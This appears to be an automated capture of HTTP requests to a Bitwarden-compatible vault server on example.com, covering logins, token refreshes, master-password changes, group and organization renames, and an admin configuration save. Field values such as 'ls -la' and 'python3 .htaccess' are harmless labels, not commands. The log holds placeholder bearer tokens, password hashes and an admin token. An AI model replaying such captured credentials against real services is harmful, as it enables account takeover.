{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3/users", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3", "headers": ["Host: example.com", "Content-Length: 63", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"python3 .htaccess admins\",\"collections\":[],\"users\":[]}"}
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Content-Length: 74", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"ls -la and powershell team\",\"billingEmail\":\"billing@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5Njg3NDU1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiZ19obXg5MERzeWFnVk1hMFgxTjZjZ09lOVozVUJCR3QzeHlSU2hMY09pUHNUMnRjR3JLYUNFcmNFczZ3QTZoYWY0NzMzcjMxT21EQ1lmWC1WRHVSckE9PSIsInRva2VuIjpudWxsfQ.JEeinNhRivVlxRx6SD0QnrVSt13z1GLAZbraMbU5CfgU1DS2I5ESQMJcp16tx9IvKu2zjMlEYIIdmnqrUUWSMFTQCQOBhEFv2y8Mr_4SXXodqF5qW2jG-FJstKSDigp-4TkYZxVmAxK8nMFHkDmNMCM84Nn1oDLz_FTum1MmZON-kwDS67yxea9V3DSvhJI9IOu3a4pwxkiZwBrYpkjkaUd9AFIaxv-DcoCuJ3EJeS1VZpshKKUb-KQD3ISSq5tAJX8R2WmHgBykHak5Uzs1t_c1qi7LYNe_9XNM31ii8Cm4gJsoxWgLGdsej2xH1ktz149txBKRX3yufaCLpuZciQ"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=dc0a2793-b7c5-4348-8c5d-e1ec1fdb14f8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/webauthn", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI2MTMsImV4cCI6MTc5NDI4OTgxMywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImRjMGEyNzkzLWI3YzUtNDM0OC04YzVkLWUxZWMxZmRiMTRmOCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.RUzXbQIEfZRz8uS9FG0oVgkzgxAcVfmLHlhgyEraX0ZIuCGLA_h5Y1KW55n806XJDWED_hl3PBpw1coJ_lwhctgP-O018CeffMQFPMGm9wEwziefuJ0HrXz_yKvPjz1gDdu7GW2zfThiFpyU0ScykPoJto3FLD9956J-hLbAZv4bEk9P1Xj1lzI01rJ0HfF_1YinoYK2I6ERjUeHDJy2mfA3k5pbNicrp57JJjKludvHqxo0RBPp5e0v4a4U21IE7OZiSe9LJfvBSnmqTh65nD_Xy3j7fWEyl_YBO5QAyPcMHzVWWVqbIbWY9dDz9QT3KHXIVribNsmRxhG3KUxrfg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/api/accounts/password-hint", "headers": ["Host: example.com", "Content-Length: 29", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: fc64499f-572b-48fa-b7e2-30716d663f7c", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a7e9b61e-1397-4e93-bee8-0678623b0292&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/accounts/password", "headers": ["Host: example.com", "Content-Length: 580", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI2NjEsImV4cCI6MTc5NDI4OTg2MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImE3ZTliNjFlLTEzOTctNGU5My1iZWU4LTA2Nzg2MjNiMDI5MiIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.eVQbbodG1F4aGjOptlTR97tP7BwskXPqy02j_aBxWxDDAzhw1fCQk1Bw5YSzu9V_wiG-gYNaE8pOyZi-uxcPOukpIH8wU0eu2FWrVFovzCNrR64l1VmxMUWCmcsAB4lTy4WreZSjz5qw9_6oVp0akqVrFDMrAJrFqUfW0eZBoo1obSXbX9i_Gd7cFFekMn6G2tE3SaB_c4mLuwNX7yM9rhqm_t8LgJDeiaxOabDGFjnToFRx-7ThucD3GvdSUbdrrWc5IYnG0LUg5O-a1KGq8XXI7fACnqCLdyFnpeEsIn39XtJbjP4_uVeaXWHGNgAmU_j9YykvQK2tQba5hW__Cg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"masterPasswordHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\",\"authenticationData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"q4vSK61/xBgUNLPLyCUuEsTdPQhQGCinB/TEPUqhvtM=\"},\"unlockData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.mtawyrPhhPA1be3e99PSzQ==|QFP1cXRwiFIkUrgN1T8sxBUfj6ByZYoa6MBQJtizghWmUEjSbAuVB6Ub/8H4avMMafotW55+6X6Mm+nn7ztW3DUU7jSaN38HkaXgyjL42WY=|pQvUwULSDKtL70EDcsasbLlahdqwBZWmuJu6MazRjts=\"},\"masterPasswordHint\":\"python3 notes and ls -la\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 236", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e1fc1704-a4b5-47bc-8ee1-41db0aaae9ec&deviceName=unknown&grant_type=password&username=alice%40example.com&password=q4vSK61%2FxBgUNLPLyCUuEsTdPQhQGCinB%2FTEPUqhvtM%3D"}
{"method": "POST", "target": "/api/accounts/password", "headers": ["Host: example.com", "Content-Length: 574", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI3MDgsImV4cCI6MTc5NDI4OTkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6ImZlMzkyZTlmLTBkODctNDczZi04N2ZmLWM4NzRlY2I5N2QxYiIsImRldmljZSI6ImUxZmMxNzA0LWE0YjUtNDdiYy04ZWUxLTQxZGIwYWFhZTllYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.b4Owd5xG_52ym1e04tZ3SxY3L-BxeiTqaEFgnxt6Ts3P0wcrmQAXyvu9q22Z7UibetQWlLxsZ-YBO5wzU1OnUHtMf2VbFKdSOATb4XzB7jxCm7M58_9nElwHpU5eBk1J7fE90SKsAmT6YZ5SjAkxGOWbFUhDEi59qng22-tJ_dGVGXQuJypfAi1_D6Osm63O5XALkXBvX0cKQamVoXGri8ntfux9AP2O1tDK1Qp1biLUWyOo0Me4re2kWbPMCnqxQyUbA0sl7TH2XCvg9NUEAaE5q4JObqyFfSZ7a0DTHsh8YH6BnL7RPM0SG4yg3Tbng5fSSy9XW8s1ir7DbUjgHA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"masterPasswordHash\":\"q4vSK61/xBgUNLPLyCUuEsTdPQhQGCinB/TEPUqhvtM=\",\"authenticationData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"},\"unlockData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.OgRcIevHsEgOV1cRElOkmg==|d17l5F/azddns9F+hOtBi3HoqMXTa2lRZjEXY4/0oP88qCAs9j6TBXbgRiPLh1X6BPVl4/V6miNM+FKtWQeQ88SEgbv341U9ElwxRXhkcWA=|+CMb+HCEBZ8Psva8Z7yctMN91/0sOEOkgAYW6O29k7E=\"},\"masterPasswordHint\":\"powershell profile\"}"}
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2555", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI3NDMsImV4cCI6MTc5NDI4Mzk0MywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.FTIEtk4un0CKwO3OLvJ_-tv_4o-Xl5AoRIoeagRLosXQwGK8LN81W6uJpPRxnpiJy7356-xYSEtlnM3tN-PmwikOjweVvIEoFau11knEJPeBtYv7sSV-jrnQKAkRgZSM3Ppj9fn9KzVmSAj_Df3R3zT_j0cDL1q4hrbm9vvomKhv-uwCOqNCmIP1FqOwmnPgkJ519x5FOT80yApR8LEEysauin2ofqBWcMAiE8YppZuiRSHI6XqScf28sxnA1xOjjX0MXUeSjvsjraaJzM5SXibzHRL6CO1XFvqoA4dWSaDcTKu18Q1ssNU6w3sDoKX6MoiridvtAmaW4ms65lOvig", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":null,\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
